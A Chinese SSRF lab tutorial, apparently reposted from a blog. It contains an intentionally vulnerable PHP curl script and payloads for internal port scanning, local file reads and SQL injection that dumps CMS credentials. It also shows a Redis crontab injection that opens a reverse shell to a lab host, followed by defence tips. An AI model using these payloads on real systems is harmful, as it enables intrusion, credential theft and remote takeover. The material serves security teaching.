服务端请求伪造(SSRF)及漏洞复现

服务端请求伪造

1. 概述

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

1.1.1 PHP 原理

curl(命令行工具),wget都是命令行下的浏览器,模拟浏览器

CURL下载网络资源:curl+空格+资源地址+-O

wget下载网络资源:wget+资源地址

利用curl 实现,需要PHP 扩展组件curl 支持。

<?php
//	ssrf_curl.php

if(isset($_REQUEST['url']))//判断是否提交了url这个参数,否则会提示提交url
{
    
    
	$link = $_REQUEST['url'];//url参数赋值给$link
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);//创建一个对象做curl对象的初始化
	$fp = fopen($fileName,'w');//初始化之后会打开一个文件,这个文件在curled文件夹下
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);//把请求的内容写到$fp中
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);//服务器通过提交的url发起请求
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName))
    {
    
    
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}
else
{
    
    
	echo "?url=[url]";
}

?>

将上述代码复制到部署了phpstudy的服务器上

image-20230904135817557

使用浏览器访问curl.php网页

image-20230904140153123

然后在url中输入?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

image-20230904140207617

当我们向服务器提交URL的时候,服务器会代替我们发送请求(大多数时候是GET请求),如果这个请求是恶意的,并且服务器没有识别能力,那么可能会造成服务端请求伪造(SSRF)漏洞。如果说攻击者使用SSRF进行其他漏洞攻击的话(攻击者利用其他服务器,先向服务器提交URL然后服务器代替攻击者向被攻击者发出HTTP请求),那么被攻击者在受到攻击,进行攻击回溯的时候很难找到攻击者。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

1.3 SSRF 危害

  • 端口扫描;

  • 内网Web 应用指纹识别;

  • 攻击内网应用;

  • 读取本地文件;

2. SSRF 攻防

CTF:CTFHub

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

image-20230904163827060

我们看到的不是真正的百度网页,我们看到的网站是192.168.16.136,而百度网页是192.168.16.136网址通过curl.php脚本通过提交的url地址访问到的内容给我们呈现出来的。

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd

?url=file:C:\phpStudy_20161103\WWW\ssrf\curl.php

image-20230904164627815

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

<Directory "C:\phpStudy_20161103\WWW\phpMyAdmin"> 
		#Order allow,deny
		Order deny,allow 
		deny from all
		allow from 127.0.0.1

</Directory>

通过修改httpd.conf内容,将上述代码复制到httpd.conf中的DocumentRoot(文档根目录)下

image-20230904165604444

修改完httpd.conf后,将phpstudy重启,重新在其他客户机上访问本机地址

image-20230904165813110

那么就会只允许127.0.0.1访问phpmyadmin

内网应用指纹识别。

?url=http://127.0.0.1/phpmyadmin/readme

image-20230904170056376

2.1.5 攻击内网web应用

内网安全通常都很薄弱。

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

将cms设置为只允许127.0.0.1访问

<Directory "C:\phpStudy_20161103\WWW\cms"> 
		#Order allow,deny
		Order deny,allow 
		deny from all
		allow from 127.0.0.1

</Directory>

image-20230904170945846

image-20230904171038872

通过ssrf访问cms

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

?url=http://127.0.0.1/cms
?url=http://127.0.0.1/cms/show.php?id=1/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
使用空格间隔的话会出错,不会回显。空格使用/**/代替

image-20230904171314812

image-20230904171908297

2.2 SSRF 实例

Weblogic SSRF 到GetShell

cd到vulhub/weblogic/ssrf下

sudo docker-compose up -d

访问本机地址的7001端口

image-20230904173332403

访问

http://192.168.16.176:7001/uddiexplorer/SearchPublicRegistries.jsp

image-20230904173712236

点击search然后使用bp抓包,将数据包发到重发器,点击发送(send)

image-20230904190225247

报错中有www-3.ibm.com而post请求数据包中提交的operator参数也有一条www-3.ibm.com,并且是在一条url中,那么此处很有可能存在ssrf漏洞

那么在dnslog中生成一个域名,测试operator参数会不会对其提交的数据进行解析(测试operator参数对其内容中的url会不会做出请求)

image-20230904190956703

image-20230904191917102

证明测试operator参数对其内容中的url做出请求

更换url为127.0.0.1再次尝试测试

image-20230904192239244

可知80端口没有开放

在测试7001,7002端口

image-20230904192927809

对本机端口进行探测,目标一般开的是docker环境。docker环境的内网IP范围:172.16.0.1,172.17.0.1,172.18.0.1,172.19.0.1

172.16.0.1:7001,172.17.0.1:7001,172.18.0.1:7001,172.19.0.1:7001结果一样,证明16,17,18,19,20都有7001端口

image-20230904195023263

然而172.20.0.2没有开放7001端口,但是可能开放其他端口

image-20230904195849237

有redis表示可以读取数据,写数据或写ssh公钥,获取webshell,周期性计划任务。因为80端22端没有开放,并且无回显,尝试写入周期性计划任务获得shell

使用瑞士军刀扫描21端口

nc -lnvp 21

image-20230904201531856

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.16.176/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

因为计划任务需要通过http提交,将计划任务进行url编码

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
http://172.20.0.2:6379/xj%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Axj

image-20230904201346059

点击提交,随后获得docker的反弹shell

image-20230904201701008

image-20230904201755910

image-20230904201848010

2.3 SSRF 防御

2.3.1 过滤输入

  • 限制协议,仅允许 http 或 https 协议;
  • 限制IP,避免应用被用来获取内网数据,攻击内网;
  • 限制端口,限制请求端口为常用端口。

2.3.2 过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;

  • 统一错误信息,让攻击无法对内网信息进行判断。

3. SSRF 挖掘

Web 功能 URL 关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

猜你喜欢

转载自blog.csdn.net/weixin_58954236/article/details/132693888